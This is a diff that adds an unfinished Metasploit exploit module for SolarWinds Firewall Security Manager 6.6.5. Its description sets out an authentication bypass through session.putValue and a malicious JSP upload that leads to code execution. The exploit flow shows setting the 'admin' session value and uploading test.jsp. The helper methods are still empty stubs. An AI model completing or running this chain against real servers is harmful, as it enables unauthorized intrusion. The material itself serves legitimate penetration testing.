Add Solarwinds FSM module

starter

Author: wchen-r7

modules/exploits/windows/http/solarwinds_fsm_userlogin.rb

@@ -0,0 +1,89 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::EXE
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "Solarwinds Firewall Security Manager 6.6.5 Client Session Handling Vulnerability",
+      'Description'    => %q{
+        This module exploits multiple vulnerabilities found in Solarwinds Firewall Security Manager
+        6.6.5. The first vulnerability is an authentication bypass via the Change Advisor interface
+        due to a user-controlled session.putValue API in userlogin.jsp, allowing the attacker to set
+        the 'username' attribute before authentication. The second problem is that the settings-new.jsp
+        file will only check the 'username' attribute for 'uploadFile' action's authorization, which
+        can be exploited and allows the attacker to upload a malicious file to the server, and results
+        in arbitrary code execution.
+
+        Depending on the installation, by default the Change Advisor web server is listening on port
+        48080 for an express install. Otherwise, this service may appear on port 8080.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'rgod',  # Original discovery
+          'sinn3r' # Metasploit
+        ],
+      'References'     =>
+        [
+          ['OSVDB', '81634'],
+        ],
+      'Payload'        =>
+        {
+          'BadChars' => "\x00",
+        },
+      'DefaultOptions'  =>
+        {
+          'EXITFUNC' => "none",
+          'RPORT'    => 48080
+        },
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          ['Solarwinds Firewall Security Manager 6.6.5', {}]
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => "Mar 13 2015",
+      'DefaultTarget'  => 0))
+  end
+
+
+  # Returns a checkcode that indicates whether the target is FSM or not
+  def check
+  end
+
+
+  # Creates an arbitrary username by abusing the server's unsafe use of session.putValue
+  def put_session_value(value)
+  end
+
+
+  # Uploads a malicious JSP file and then execute it
+  def upload_exec(filename, malicious_file)
+  end
+
+  # Exploit/run command
+  def exploit
+    unless check == Exploit::CheckCode::Detected
+      print_error("Target does not appear to be a Solarwinds Firewall Security Manager")
+      return
+    end
+
+    username = 'admin'
+    print_status("Putting session value: #{username}")
+    put_session_value('admin')
+
+    filename = "test.jsp"
+    malicious_file = ''
+    print_status("Uploading file: #{filename}")
+    upload_exec(filename, malicious_file)
+  end
+end